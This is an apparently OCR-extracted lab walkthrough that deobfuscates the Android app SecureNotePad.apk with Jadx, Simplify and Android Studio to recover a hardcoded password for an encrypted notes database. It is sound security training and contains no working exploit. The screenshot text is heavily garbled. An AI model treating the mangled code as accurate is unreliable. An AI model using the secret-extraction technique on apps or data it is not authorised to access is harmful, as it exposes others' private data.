Fortunately, he has a backup of the database file from the app, notepad. db. Unfortunately, the
backup file is encrypted. Kevin is positive that he did not choose a password in using the Secure
NotePad application, which likely points to a hardcoded password used for storing the encrypted
note data.

Help Kevin recover the data from the notepad.db database by reverse engineering the
SecureNotePad.apk application. Use a combination of Jadx, Simplify, and Android Studio to
recover the encryption password, then use the DB Browser for SQLite application to decrypt and
access the notepad. db data.

1. Log in to Kali Linux
Log in to Kali Linux using the username root and the password toor.

2. Open a Terminal
Open a Linux terminal using the quick menu on the left of the desktop.

3. Start Jadx
From the terminal, launch jadx-gui.
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From Jadx's Open file dialog, navigate to the 1abs/obfuscateddirectory, select the

SecureNotePad.apkapplication, then choose Open. Maximize the jadx-gui window.
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. » @ com.willhackforsushi.se .
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Note Obfuscation Use

Expand the two packages available in the reconstructed source code for Secure NotePad.
The first package, a.a, is likely a library used by the application. The second,
com.willhackforsushi.securenotepad, has both named classes (such as

NoteEditor, NotePadProvider, NotesList, etc.) and obfuscated classes (a, b, ¢, and
d).

This is common behavior for ProGuard obfuscated applications, where some named classes
are retained, other names are fully obfuscated.
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6. Expand NoteEditor Class

Click to expand the NoteEditor class. Note that, like the classes under the
com.willhackforsushi.securenotepad package, the NoteEditor class also has nhamed and
obfuscated classes and methods. We'll see more of this behavior in the application, but note that this
behavior is common with ProGuard-obfuscated applications.
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*New Project - jadx-gui
File View Navigation Tools Help
Ba T& # 4 &
v ¢} SecureNotePad.apk ® . - ; -
v @ Source code com.willhackforsushi.securenotepad.NoteEditor X
v @#a.a 1mport android.content.ComponentName;
» #a import android.content.ContentValues;
»Qa import android.content.Context;
»®b import android.content.Intent;
v & com.willhackforsushi.se {mporl andro*d.databgse.(ursor;
»@a import android.graphics.Canvas;
»®b import android.graphics.Paint;
»@c import android.graphics.Paint.Style;
import android.graphics.Rect;
> Od — import android.net.Uri;
s thed)ol . import android.os.Bundle;
¥ G:“oze ‘Ed :ovmer import android.util.AttributeSet;
» oteslLis i & 3 4
import android.util.log;
» © NotesLiveFolder import android.view.Menu;
>0 R. »p |import android.view.Menultem;
» © TitleEditor import android.widget.EditText;
» (2 Resources import android.widget.Toast;
Y APK signature import java.lo.File;
4P Certificate
public class NoteEditor extends Activity {

/* renamed from: a reason: collision with root package name */
private static final Stringl[] f7a = {"_id", “note”, "title"};
private int b;

private Uri c;

private Cursor d;

private EditText e;

private String f;

public class LinedEditText extends EditText {

/* renamed from: a reason: collision with root package name */
private Rect f8a = new Rect();
private Paint b = new Paint();

public LinedEditText(Context context, AttributeSet attributeSet) {
super(context, attributeSet);
this.b.setStyle(Style.STROKE);
RS e
Code Smali

JADX memory usage: 0.04 GB of 4.00 GB

7. Identify the Data Provider Class

Android applications will often have one or more data providers, abstract classes that provide
consistent access to data within the application. These classes often have the name Provider,
but this is a convention, not a requirement. Identifying the providers used by an application
are a useful mechanism to start your analysis.

To identify the application provider, inspect the AndroidManifest.xml file. Expand the
Resources folder in Jadx, then click on the AndroidManifest.xml file. Identify the
<provider> tag in the XML data. The android:name attribute discloses the class nhame for
the Android data provider used in the Secure NotePad application.

If you are unsure where to start when analyzing an Android application, check the
AndroidManifest.xml file to identify the provider name. Examining the
reconstructed source for the data provider is a great way to get a better
understanding of how the application handles data.
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*New Project - jadx-gui

Eile View Navigation Tools Help
Ba §d& 4
v ¢J SecureNotePad.apk ) y o
v @ Source code © com.willhackforsushi.securenotepad.NoteEditor % | [5 AndroidManifestxml X
v @a.a <?2xml version="1.0' utf-8"7>
» #a <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.willhackforsu
»Qa <uses-sdk android:minSdkversio 17" android:targetSdkVersion="23"/>
»®b <application android:label="@string/app_name" android:1icon="@drawable/app_notes">
v @ com.willhackforsushi.se <provider android: com.willhackforsushi.securenotepad.NotePadProvider" android:aut
<activity android:label="@string/title_notes_list" android:name="com.willhackforsushi.s
<intent-filter>
<actxoh android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
. <intent-filter>
© NotePaqProuder <action android:name="android.intent.action.VIEW"/>
© NotesList <action android:name="android.intent.action.EDIT"/>
© NotesLiveFolder <action android:name="android.intent.action.PICK"/>
G R <category android:name="android.intent.category.DEFAULT"/>
© TitleEditor <data android:mimeType="vnd.android.cursor.dir/vnd.google.note"/>
v (2 Resources </intent-filter>
lib <intent-filter>
META-INF <action android:name="android.intent.action.GET_CONTENT"/>
res <category android:name="android.intent.category.DEFAULT"/>
AndroidManifest.xml <data android:mimeType="vnd.android.cursor.item/vnd.google.note"/>
classes.dex </intent-filter>
» [3 resources.arsc </activitys :
/P APK signature <activity and(oxd:tncve='@style/Yheme.nght" a?drsld:name:"(on.wxllhackforsushx.securen
B Cortificate <intent-filter android:label="@string/resolve_edit">
<action android:name="android.1intent.action.VIEW"/>
<action android:name="android.intent.action.EDIT"/>
<action android:name="com.android.notes.action.EDIT_NOTE"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="vnd.android.cursor.1tem/vnd.google.note"/>
</intent-filter>
<intent-filter=
<action android:name="android.1intent.action.INSERT"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="vnd.android.cursor.dir/vnd.google.note"/>
</intent-filter>
</activity>
<activity android:theme="@style/Theme.Dialog" android:label="@string/title_edit_title
<intent-filter android:label="@string/resolve_title">

© NoteEditor

-

8. Open the NotePadProvider Class

Navigate to the com.willhackforsushi.securenotepad package and click on the
NotePadProvider class.
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Applica “A\;‘r‘ndx guinadxGURY| T ) U 05: W] (L ! 5 »~ )

‘Nern]e-]adx~gu| e 0o 0

File View Navigation Tools Help
L&) 5 B R G =
v ¢ SecureNotePad.apk 3 H = . - y -
v @ Source code snotepad.NoteEditor % [=| AndroidManifestxml | © com.willhackforsushi.securenotepad.NotePadProvider X |« .
vi#a.a package com.willhackforsushi.securenotepad; -
» #a
»Da import a.a.a;
»®b import a.a.a.c;
e v # com.willhackforsushi.se isport a.a.a.
import a.a.b;
import android.content.ContentProvider;
import android.content.ContentUris;
import android.content.ContentValues;
import android.content.UriMatcher;
— import android.content.res.Resources;
z NnroPanovmer import android.database.Cursor;
® NotesList import android.net.Uri;
NotesLiveFolder import android.text.TextUtils;
© R. import java.util. [
© TitleEditor import java.util.®
v 2 Resources
» CJlib public class NotePadProvider extends ContentProvider {
» . META-INF
» res /* renamed from: a reason: collision with root package name */
= AndroidManifest.xml private static HashMap foa;
H classes.dex pr%vate stat?c HashHap I?;
» [3 resources.arsc private static final UriMatcher c;
/P APK signature private c d;
Certificate

© NoteEditor

static {
UriMatcher uriMatcher = new UriMatcher(-1);
¢ = uriMatcher;
uriMatcher.addURI("com.willhackforsushi.provider.SecureNotePad", "notes", 1);
c.adduRI("com.willhackforsushi.provider.SecureNotePad”, “notes/#", 2);
c.addURI("com.willhackforsushi.provider.SecureNotePad”, "live_folders/notes", 3);
{ashMap hashMap = new HashMap();
f9a = hashMap;
hashMap.put(”_id", "_id");
foa.put(“title", "title");
f9a.put("note”, "note");
foa.put(“created”, "created");

38 f9a.put("modified odified”);
‘—

Code Smali

9. Examine NotePadProvider static Block

In the NotePadProviderclass, you will see some initial class-level variables declared (a, b,
c, and d), followed by a static block (delimited with starting and closing curly brackets:
{1). In Java, the static block is code that is executed automatically when the class is
instantiated (created). In this example, we see the class-level variables a, b, and c are used
with a uriMatcher object, and several strings that resemble SQL-like statements (note
title AS name Which could be a sort option in a SQL statement).

So far, we don't really know what's going on in the application, but we're just starting out
and making small steps as we quickly glance at the code.
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*New Project - jadx-gui

File View Navigation Tools Help
Ba 88 4 ¢ & [0 &
v ¢ SecureNotePad.apk 3 . : - ) v . o
v @& Source code anotepad.NoteEditor % =] AndroidManifestxml X | © com.willhackforsushi.securenotepad.NotePadProvider X
vi#a.a 16 |{import java.util.Map;
> Ha 17
» O a 18 [public class NotePadProvider extends ContentProvider {
»Gb 19
v @ com.willhackforsushi.se 20 /* renamed from: a reason: collision with root package name */
»®a 21 private static HashMap f9a;
»®b 22 private static HashMap b;
»@c private static final UriMatcher c;
»®d private ¢ d;

» © NoteEditor stafic {

X NntePaqPrGVIGPr UriMatcher uriMatcher = new UriMatcher(-1);
> O NotesList ¢ = uriMatcher;
> © NotesLiveFolder uriMatcher.addURI( "com.willhackforsushi.provider.SecureNotePad", "notes", 1);
»OR c.addURI("com.willhackforsushi.provider.SecureNotePad”, "notes/#", 2);
» © TitleEditor c.addURI("com.willhackforsushi.provider.SecureNotePad”, "live folders/notes", 3);
v 2 Resources {ashMap hashMap = new HashMap();
> lib f9a = hashMap;
» . META-INF hashMap.put(”_id", "_id");
> res foa.put(“title", “title");
| AndroidManifest.xml f9a.put("note”, "note");
#H classes.dex f9a.put("created", "created");
» [3 resources.arsc foa.put(“modified”, “modified);

» APK signature HashMap hashMap2 = new HashMapl);
Certificate b = hashMap2;

hashMap2.put(”_1d", "_id As _id");

b.put("name", "title AS name");

}

public int deletelUri uri, String str, String[] strarr) {
int a2;
¢ a3 = this.d.alnew di).al));
switch (c.match(uri)) {
case 1:
a2 = a3.al"notes", str, strArr);
break;
case 2:
a2 = a3.al"notes", " id=" + ((String) uri.getPathSegments().get(1)) + (!TextUtiy
S

-

10. Identify Methods in the NotePadProvider Class

Scroll through the NotePadProvider class, identifying method names (alternatively, you
can expand the class declaration in the left side of the Jadx reconstructed source code tree).

Briefly examine the reconstructed source for the methods in this class. Most of the code is
very confusing, with variable references that don't make a lot of sense (1ong a =
this.d.a(dvar.a()), etc.). This is the goal of application obfuscation: to make it harder
for a reverse engineering analyst to assess and evaluate the code for an Android application.

Despite the use of obfuscation, we can learn a lot about the application. The provider class
appears to interact with a SQL database, exposing methods to the application, including
delete, insert, query, and update. Although the code in these classes (including the
insert method, shown in the screen capture) is obfuscated, we see repeated references to
the d () class constructor in the beginning of the class.

Anytime you see repeated references to a class or method in obfuscated code, note
it as a point of interest in an application. Here the
com.willhackforsushi.securenotepad.d() class constructor looks like an
interesting analysis target.
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*New Project - jadx-gui

File View Navigation Tools Help
Ba &8 44 G
v #J SecureNotePad.apk
v & Source code
v #Ba.a 70 throw new IllegalArgumentException("Unknown URI " + uri); .
> Ha 7 }
»0a 72 }
»®b 73 - —
v & com.willhackforsushi.se| 74 public Uri insprtiuri uri, Contentvalues contentvalues) {
»@a 75 d dvar = new d{);
»®b 76 if (c.match(uri) != 1) {
» Qe 77 throw new IllegalArgumentException("Unknown URI " + uri);
» G 78 }
d % 79 ContentValues contentValues2 = contentValues != null ? new ContentValues(contentValues)
» © NoteEditor R e
s © NotePadProvid 80 Long valueof = Long.valueOf(System.currentTimeMillis());
<y LD Ll 81 if (!contentvalues2.containsKey("created”)) {
NotesList 82 contentValues2.put(“created", valueof);
» © NotesLiveFolder & }
>0 R. 84 if (!contentvalues2.containsKey|"modified”)) {
» © TitleEditor 85 contentValues2.put|"modified”, valueof);
v (# Resources 26 }
» G lib 87 if (!contentvalues2.containsKey("title")) {
» . META-INF 88 contentValues2.put{"title”, Resources.getSystem().getString(17039375));
3 res 89 }
| AndroidManifest.xml 90 if (!contentValues2.containsKey("note")) {
4 classes.dex 91 X contentValues2.put("note”, "");
» [3 resources.arsc 92 ’
 APK signature 93 long a2 = this.d.aldvar.al)).al"notes”, "note”, contentValues2);
Certificate 94 if (a2 > 0) { 5L 0
95 Uri withAppendedId = ContentUris.withAppendedId(b.f13a, a2);
96 getContext().getContentResolver().notifyChange(withAppendedId, null);
97 return withAppendedId;
98 }
99 throw new b(“Failed to insert row into " + uri);
100 ¥
101
102 public boolean onCreate() {
103 this.d = new c(getContext());
104 return true;
105
106

107 ublic /* synthetic */ Cursor query(Uri uri, String[] strArr, String stringl] strarr2,y
~*

Code Smali

snotepad.NoteEditor & 5| AndroidManifestxml | © com.willhackforsushi.securenotepad.NotePadProvider X |« .

11. Examine the d Class

Open the d class (not the d method in the NotePadProvider class!) as shown in
the screenshot. Examine the reconstructed source briefly.

The reconstructed source demonstrates the effect of ProGuard obfuscation, with methods
and variables renamed. The code also shows some constant strings in the ending a() method
(an earlier method with the same name exists, but takes different method arguments).

This code looks interesting enough, but may be different to reverse engineer simply in Jadx
(you could do it, but it would take longer than using a smarter tool for the job). Next, we'll
work on turning this code into something easier to understand and remove any unnecessary
obfuscated code.
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Applications

File View Navigation Tools Help
Ba 88 44 ¢ & O 4
v ¢ SecureNotePad.apk
v & Source code
vi#a.a
» Ha public final class d {
»0a
»®b /* renamed from: a reason: collision with root package name */
v & com.willhackforsushi.se private static final Boolean flda = Boolean.valueof(false);
»@a 10 private String ) gl2];
b private String tring[2];

ml % © com.willhackforsushi.securenotepad.NotePadProvider % @ © com.willhackforsushi.securenotepad.d X |« .

private static String alString str) {

stringBuffer| ) z ingl);
oteEditor } return new fer(str).reverse().toString()

NotePadProvider
» © NotesList private String a(String str, String str2, Boolean bool) {
> © NotesLiveFolder int length = str.length() / 2;
»OR int length2 = str2.length() / 2;
» © TitleEditor this.ble] = str.substring(o, length);
v (2 Resources this.bl{1] = str.substring(length);
» L lib this.c[0] = str2.substring(®, length2);
»  META-INF this.c[1] = str2.substring(length2);
- res return bool.booleanvalue() ? this.b[1] + this.c[0] + this.b[e] + this.c[1]
-| AndroidManifest.xml }
H classes.dex
» [3 resources.arsc
Y APK signature
Certificate

c}
@c
Cd
© N
c}

private static String blString str) {
tring encodeToString = Basetd.encodeToStringlstr.getBytes(), 0);
if (encodeToString == "*) {
Log.w("NotePassword", "base6dEncode: empty encodedWord produced from " + str);
}
return encodeToString;

public final String al) {
tring a2 = a("~LILONE-");
string b2 = b("beailoveyou");
tring b3 = bla("frondal2"));
Log.1("NotePassword", "getPassword word mixing returns" + ala2, b3, Boolean.valueof(fal
return a("~LILONE-");

Code ‘Smali
JADX memory usage: 0.08 GB of 4.00 GB

12. Minimize Jadx; Open New Terminal

Minimize Jadx, then open a new terminal by clicking File | New Window from the terminal
window.

13. Run Simplify

Next, run Simplify to remove unnecessary code and other obfuscation techniques from the
binary. Running Simplify on the full SecureNotePad.apk application will take approximately 30
minutes; here you will target just the com.willhackforsushi.securenotepad.d class
itself (excluding code that calls the target class).

From your terminal window, change to the 1abs directory, then run Simplify as shown:

root@Rkali:~# cd labs/obfuscated
root@kali:~/labs/obfuscated# java -jar simplify.jar -it
'com/willhackforsushi/securenotepad/d;->' SecureNotePad.apk

Simplify will produce an output APK file, adding the simp1ifysuffix to the
filename before the extension.

The -it argument is Simplify's convention for /include types, limiting Simplify's

deobfuscation techniques to the matching classes and methods specified. Adding the
; —> suffix is an Android bytecode convention to indicate that Simplify should only
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deobfuscate the class com.willhackforsushi.securenctepad.d, and not other code
that invokes methods in the com.willhackforsushi.securenotepad.d class.

Applications ~ Places ~ Terminal ~ Tue 05:32 m
root@kali: ~/labs/obfuscated

File Edit View Search Terminal Help
:~# cd labs/obfuscated/
:~/labs/obfuscated# java -jar simplify.jar -it 'com/willhackforsushi/securenotepad/d;->' SecureNotePad.apk
[1 7/ 1] Processing top level class Lcom/willhackforsushi/securenotepad/d
(1 / 6) Executing top level method: Lcom/willhackforsushi/securenotepad/d;-><clinit>()V
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by com.rits.cloning.Cloner (file:/root/labs/obfuscated/simplify.jar) to field java.ut
il.TreeSet.m
WARNING: Please consider reporting this to the maintainers of com.rits.cloning.Cloner
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a futur
Simplifying: Lcom/willhackforsushi/securenotepad/d;->
Optimizations
constantized ifs 0
constantized ops ]
dead assignments removed = 0
dead ops removed e
dead results removed = @
nops removed = @
peephole optmizations = ©
unreflected fields = @
unreflected methods = ©
useless gotos removed = 0
(2 / 6) Executing top level method: Lcom/willhackforsushi/securenotepad/d;->a()Ljava/lang/String;
05:31:52.871 WARN InvokeOp - Cannot execute local native method: Landroid/util/Log;->println native(IILjava/lang/St
ring;Ljava/lang/String;)I. Assuming maximum ambiguity.
Simplifying: Lcom/willhackforsushi/securenotepad/d;->a()Ljava/lang/String;
05:31:52.962 WARN InvokeOp - Cannot execute local native method: Landroid/util/Log;->println native(IILjava/lang/St
ring;Ljava/lang/String;)I. Assuming maximum ambiguity.
Optimizations:
constantized ifs
constantized ops
dead assignments
dead ops removed
dead results removed = 11
nops removed = @
peephole optmizations = @
unreflected fields = @
unreflected methods = ©
useless gotos removed = 0
(3 / 6) Executing top level method: Lcom/willhackforsushi/securenotepad/d;->a(Ljava/lang/String;Ljava/lang/String;Ljava/
lang/Boolean;)Ljava/lang/String;
Simplifying: Lcom/willhackforsushi/securenotepad/d;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Boolean;)Ljava/lan

g/String;

14. Open Simplified Application in Jadx
From the terminal window, open the simplified Secure NotePad application with Jadx.

root@kali:~/labs/obfuscated# jadx-gui Secure
NotePad simple.apk
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S =
root@kali: ~/labs/obfuscated

File Edit View Search Terminal Help
dead assignments removed = ©
dead ops removed = 0
dead results removed = @
nops removed = @
peephole optmizations = ©
unreflected fields = 0
unreflected methods = ©
useless gotos removed 2]

- (6 / 6) Executing top level method: Lcom/willhackforsushi/securenotepad/d (Ljava/lang/String;)Ljava/lang/String;
05:31:53.185 WARN InvokeOp - Cannot execute local native method: Landroid/util/Log;->println native(IILjava/lang/St
ring;Ljava/lang/String;)I. Assuming maximum ambiguity.

Simplifying: Lcom/willhackforsushi/securenotepad/d;->b(Ljava/lang/String;)Ljava/lang/String
Optimizations:
constantized ifs = ©
constantized ops = @
dead assignments removed =
dead ops removed = @
dead results removed = ©
nops removed = 0
peephole optmizations
unreflected fields = @
unreflected methods = @
useless gotos removed (2]
Simplification complete:
total classes = 1
total methods = 6
optimized methods = 6
failed methods = @

run time 7869 ms
@ Total optimizations:

constantized ifs = @
constantized ops = 8
dead assignments removed = 36
dead ops removed = 0
dead results removed
nops removed = 0
peephole optmizations = @
unreflected fields = @
unreflected methods = ©
useless gotos removed = ©
Writing output to SecureNotePad simple.apk
ated# jadx-qui SecureNotePad simple.apk

= 17

Examine the Simplified d Class

In Jadx for SecureNotePad_simple.apk, examine the com.willhackforsushi.securenotepad.d
class. Arrange both instances of Jadx so you can easily compare the two applications side
by side.

When we compare the two applications, we see that Simplify removed substantial
code in the simplified version of the binary. Much of this code was unnecessary and
did not meaningfully produce any results in the target binary, added only to make
deobfuscation more complex. By executing the application in SmaliVM, Simplify is
able to identify the code that is unnecessary and removes it, simplifying our
subsequent analysis.
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*New Project - jadx-gui

r

escouurecN; urenotepad.NotePadProvider # | © com.willhackforsushi.securenotepad.d X |« | © com.willhackforsushi.securenotepad.d %

5 package com.willhackforsushi.securenotepad;

public final class d {

import android.util.Base6d;

/* renamed from: a reason: collision with root package name import android.util.Log;

private static final 800 v f14a = Boolean.valueof(false);

private Stringl] b = new Stringl2]; public final class d {

private String[] ¢ = new String[2];

/* renamed from: a reason: collision with root packac

private static String a(String str) { private static final Boolean flda = Boolean.valueof({
return new Stringd (str).reversel).toString(); private String[] b = new S

private © g9[] ¢ = new S

private String alString str, String str2, 8 n bool) { private static S String str) {
int length = str.length() / 2; return new String =ristr).reversel).toStringl(
int length2 = str2.length() / 2;
this.b[@] = str.substring(@, length);
this.b[1] = str.substring(length); private String alString str, String str2, Boolean boc
this.c[0] = str2.substring(0, length2); return bool.booleanvalue() ? this.b[1] + this.cl(
this.c[1] = str2.substring(length2);
return bool.booleanvaluel) ? this.b[1] + this.c[0] + thi
} private static String bl(String str) {
String encodeToString = Base64.encodeToString(st
private static String b{String str) { if (encodeToString == "*) {
String encodeToString = Base6d.encodeToString(str.getBy Log.w("NotePassword", "base6dEncode: empty er
if (encodeToString == ") { }
Log.w("NotePassword”, "base6dEncode: empty encodedwi return encodeToString;
}
return encodeToString;
public final String al) {
Log.1("NotePassword”, “"getPassword word mixing r
public final String al) { al"~LILONE~");
String a2 = a("~LILONE~"); return “~ENOLIL-";
b2 = b("beailoveyou");
ing b3 = bla("frondal2"));
Log.1("NotePassword", "getPassword word mixing returns"
return al"~LILONE~
41

Smali
S 5 Code |Smali

JADX memory usage: 0.04 GB of 4.00 GB

JADX memory usage: 0.09 GB of 4.00 GB

16. Close Jadx

Now that you've seen the effect of Simplify, close both Jadx windows. Close one of the
terminals, keeping one terminal open.

17. Decompile SecureNotePad_simple

To continue the analysis of the obfuscated application, decompile the
SecureNotePad simple version of the target application, then import the sources into
Android Studio. From your command line, create a directory for the reconstructed source,
then use the jadx command line tool to decompile and save the source.

root@kali:~/labs/obfuscated# mkdir securenotepad

root@kali:~/labs/obfuscated# jadx -d securenotepad
SecureNotePad simple.apk
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root@kali: ~/labs/obfuscated e 0

File Edit View Search Terminal Help
:~# cd labs/obfuscated/
uscated# mkdir securenotepad
:~/labs fuscated# jadx -d securenotepad SecureNotePad simple.apk
loading

- d 'R’ class in app package: com.willhackforsushi.securenotepad

- class not found, put all resources ids to : 'com.willhackforsushi.securenotepad.R'

- processing ...
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by com.rits.cloning.Cloner (file:/usr/lib/cloning-1.9.12.jar) to field java.util.Tree
set.m
WARNING: Please consider reporting this to the maintainers of com.rits.cloning.Cloner
WARNING: Us illegal-acces arn to enable warnings of further illegal reflective access operations
WARNING: All illegal a rations will be denied in a future release
WARN Removed duplicated region for block: B:8:0x000f in method: a.a.a.c.a(java.lang.String, char[], a.a.a.f
a.a.f, com.willhackforsushi.securenotepad.a):a.a.a.c, dex: classes.dex
WARN - Removed duplicated region for block: B:11:0x0016 in method: a.a.a.c.a(java.lang.String, char[], a.a.a.f, int, a
.a.a.f, com.willhackforsushi.securenotepad.a):a.a.a.c, dex: classes.dex
WARN - Removed duplicated region for block: B:14:0x001c A[SYNTHETIC] in method: a.a.a.c.a(java.lang.String, char[], a.a
.a.f, int, a.a.a.f, com.willhackforsushi.securenotepad.a):a.a.a.c, dex: classes.dex
WARN - Removed duplicated region for block: B:8:0x000f in method: a.a.a.c.a(java.lang.String, char([], a.a.a.f,
a.a.f, com.willhackforsushi.securenotepad.a):a.a.a.c, dex: classes.dex
WARN - Removed duplicated region for block: B:11:0x0016 in method: a.a.a.c.a(java.lang.String, char[], a.a.a.f, int, a
.a.a.f, com.willhackforsushi.securenotepad.a):a.a.a.c, dex: classes.dex
WARN - Removed duplicated region for block: B:14:0x001c A[SYNTHETIC] in method: a.a.a.c.a(java.lang.String, char[], a.a
.a.f, int, a.a.a.f, com.willhackforsushi.securenotepad.a):a.a.a.c, dex: classes.dex
WARN - Register type unknown, SSA variable not initialized: r7
WARN - Register type unknown, SSA variable not initialized: rl@
WARN Register type unknown, SSA variable not initialized: r7
WARN Register type unknown, SSA variable not initialized: rl@
WARN Several 'all' handlers in try/catch block in a.a.a.j.a(char[])
INFO done 1

18. Start Android Studio
From the terminal window, launch Android Studio by executing the studio.sh script.

root@kali:~/labs/obfuscated# cd
root@kali:~# cd Android/android-studio/bin
root@kali:~/Android/android-studio/bin# ./studio.sh
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root@kali: ~/Android/android-studio/bin
File Edit View Search Terminal Help

labs/obfuscated# cd
# cd Android/android-studio/bin

Android/android-studio/bin# ./studio.sh
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19. Import SecureNotePad_simple Code
From the Welcome to Android Studio screen, click on the Import project (Eclipse ADT,
Gradle, etc.) option. Navigate to the directory containing the decompiled
SecureNotePad_simple code (/root/labs/obfuscated/securenotepad), then click OK. In the
wizard, accept the defaults, clicking Next | Next | Next | Next | Next | Next | Finish.
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Wait for Indexi

20

After importing the project, Android Studio will index all the source code. This process may

take a minute or two. Wait until the indexing process is finished before moving on to the

next step.

21. Navigate to d Class

In Android Studio, navigate to the com

clicking on the Pro

label (left) to open the application nav

t

jec
llhackforsushi.securenotepad INS

W1

second com

in the application navigate tree to open the source code in the edi

lar to what you saw in Jadx, but will include additional syntax color highlighting features

used in Android Studio.

simi
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22,

23.

s %) Jetbraingist ) > Tpe 06:00 | 0 1
secur pad [~/labs/obft [secur pad] - .../sources/com/willhackforsushi/secur pad/d.java [securenotepad] - Android Studio @ @ @
File Edit View Navigate Code Analyze Refactor Build Run Tools VCS Window Help
* securenotepad ' sources  ©% com  E% willhackforsushi - £ securenotepad ®d 1 | Add Configuration... & Q-
Android ~ Q= & — ®djava
s resources package com.willhackforsushi.securenotepad;
& securenotepad
java
aa
com.willhackforsushi.securenotepad sy f re it t pach .
private static final Boolean 714a = Boolean.valueOf(false);

©a private Stringl] b = new Stringl2];
©b private String(] ¢ = new Stringl2];

3 I: Project

import ...

public final class d {

©c

) . RN {

. @ String st
& NoteEditor return bool.booleanValue() ? this.b[1] + this.c[6] + this.bl8] + this.c[1] : "*;
& NotePadProvider }

private static String a(String str) { return new StringBuffer(str).reverse().toString();

* Resource Manager

& NotesList private static String b(String str) {
& NotesLiveFolder String encodeToString :“Baseﬁd.encodeToStrlng(str.getBy(eslJ, 8);
if (encodeToString == ") {
®R Log.w("NotePassword", “base64Encode: empty encodedword produced from “

& TitleEditor

2
€
8
=
s
=
=
S
@
-

return encodeToString;

}

public fimal String a() {
Log.i("NotePassword"”, "getPassword word mixing returns, ");
al “~LILONE-~");
return "~ENOLIL-";

2. 7: Structure

% 2: Favorites

£1l Layout Captures

d
= 6:logcat =TODO @ Terminal Q Event Log
Migrate Project to Gradle?: This project does not use the Gradle build system. We recommend that yo... (4 minutesago) 6:20 LF: UTF-8: 4spaces: ‘W &

Note Unused Variables, Methods

In Android Studio, variables and methods that aren't used are noted with a slight grey color.
This is useful in analyzing the application to note code that isn't used (and therefore, isn't
valuable for us to analyze).

Note the second a method declaration (with the method arguments String, String, Boolean).
In the method declaration, the method name a, the first string method variable str, and the
second string method variable str2 are all grey, indicating that they are not used. Since the
method a isn't used, it isn't worth evaluating.

You could delete the method altogether, but you could just hide the code from view by using
the Android Studio Folding feature. Highlight the three lines of code, then right-click on the
highlighted area and click Folding | Collapse to hide the code (alternatively, click on the
small arrow icon with the minus symbol in the margin).

Refactor and Rename the d Class

In the remaining code, we see two Log statements (one for warning level logging with
Log.w and a second for informational level logging with Log. i). In the call to the Log
methods, the first argument is the fag, which is usually the name of the program or the
class.

In both Log instances, the tag name is NotePassword. This is likely the name of the
method, escaping obfuscation because it was a static string declared by the developer. Using
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100

this insight, we can refactor and rename the d class to NotePassword to make the
obfuscated code easier to read.

Highlight the class name d immediately following the declaration public final class.
Click Refactor | Rename. After clicking rename, the highlighted text will have a small red
box around the name. Enter the new name NotePassword, then press Enter.

Android Studio will accept this name change but prompts you to also rename other variables
in the code to reflect the new class name. Select both items and click OK at the bottom of
this dialog box to complete the change.

Your changes will only be applied once you click the Do Refactor button at the
bottom. We will first configure multiple refactorings before clicking this button in
one of the next steps.

Refactoring and renaming the class name doesn't help make the current source
significantly more legible, but it does help make other classes more legible where
the former d class name was used. Feel free to open the NotePadProvider class
and look for the NotePassword () class instantiation references to see the effect of
this change.

Refactor and Rename the Last a Method

The last a method in the class has three lines of simple code for us to evaluate. The first line
of code is a L.og statement using the tag, then a partial string.

The log string "getPassword word mixing returns, " offers some insight into the original
method name, likely get Password. Highlight the method name a immediately following
public final String, then click Refactor | Rename. Enter the new name
getPassword, then press Enter. When prompted, rename the other references in Android
Studio's Rename Overloads dialog by clicking OK. Android Studio will prompt one more time
in the bottom of the editor; click Do Refactor to complete the refactor and rename
command.
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26.

27.

28.

29.

Applications

secur pad [~/labs/obft h pad/d.java [securenotepad] - Android Studio @ @ @
File Edit View Navigate Code Analyze Refactor Build Run Tools VCS Window Help
< securenotepad ' sources % com  E% willhackforsushi - £ securenotepad € d 1 | Add Configuration... [ Q-
Android ~ D T & — ®Vdjava
. resources p — : )
i securenotepad private static fingl Boolean f'la = Boolean.valueOf(false); 3

java private Stringl] b = new Stringl2];
private Stringl] ¢ = new Stringl2];

uelsissy

3 I: Project

aa

com.willhackforsushi.securenotepad private static String getPassword(String str) {
return new StringBuffer(str).reverse().toString();
€a

®b
2 2] private String P (String str, String , Boolean bool) {
ec return bool.booleanvalue() ? this.b[1] + this.c[0] + this.b[@] + this.c[1] : "
‘e d }

NoteEditor @ private static String b(String str) {

NotePadProvider f;trmg encodeToString :‘.Basebé.encode!osxrinq(str.getaytes(1. 0);

~ if (encodeToString == ") {
NotesList Log.w("NotePassword", "base64Encode: empty encodedwWord produced from " + str);
}

NotesLiveFolder
R }
TitleEditor

2 Resource Manager

return encodeToString;

2
<
2
s
>
=
S
@
-

public final String getPassword() {
Log.i("NotePassword", “getPassword word mixing returns, ");
getPassword( "~LILONE~");
return “~ENOLIL-";

Z: Structure

}

d getPassword()

Find: Refactoring Preview Refactoring Preview Refactoring Preview
o com.willhackforsushi.securenotepad

€ « NotePadProvider
m « insert(Uri, ContentValues)
© NotePadProvider.java
75ddVar = new d();
m w query(Uri, String[], String, String[], String)
New instance creation

% 2: Favorites

Occurrences found in comments, strings and non-code files (1 occurrencein1file) 11

71l Layout Captures

Do Refactor Cancel
= 6:logcat =TODO @ Terminal = & 3:Find Q Event Log
Migrate Project to Gradls ’h

Identify getPassword Return Value

Looking at the getPassword() method, we see that it simply returns a static string,
~ENOLIL~. This string is the reverse of one of the static strings embedded in the code,
made clear through Simplify's deobfuscation, and our own manual analysis.

Normally, you would continue to evaluate the application further, identifying the instances
where getPassword() is invoked, and continuing to refactor and rename methods and
variables following your analysis of the code. For our exercise, we'll stop the analysis here
and test the recovered password.

Switch to Windows VM

Switch to the Windows VM by clicking on the Machines tab and selecting the Windows 10
system.

Log in to Windows

Log in to the Windows 10 VM with the username student and the password student.

Start DB Browser for SQLite
From the Start menu, launch DB Browser for SQLite.

Open notepad.db
From DB Browser for SQLite, click File | Open Database.... Navigate to the e: \1ab-
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files\obfuscated directory and select the nctepad. db file from the Secure NotePad
application. Click OK to open the file.

30. Enter Recovered Password

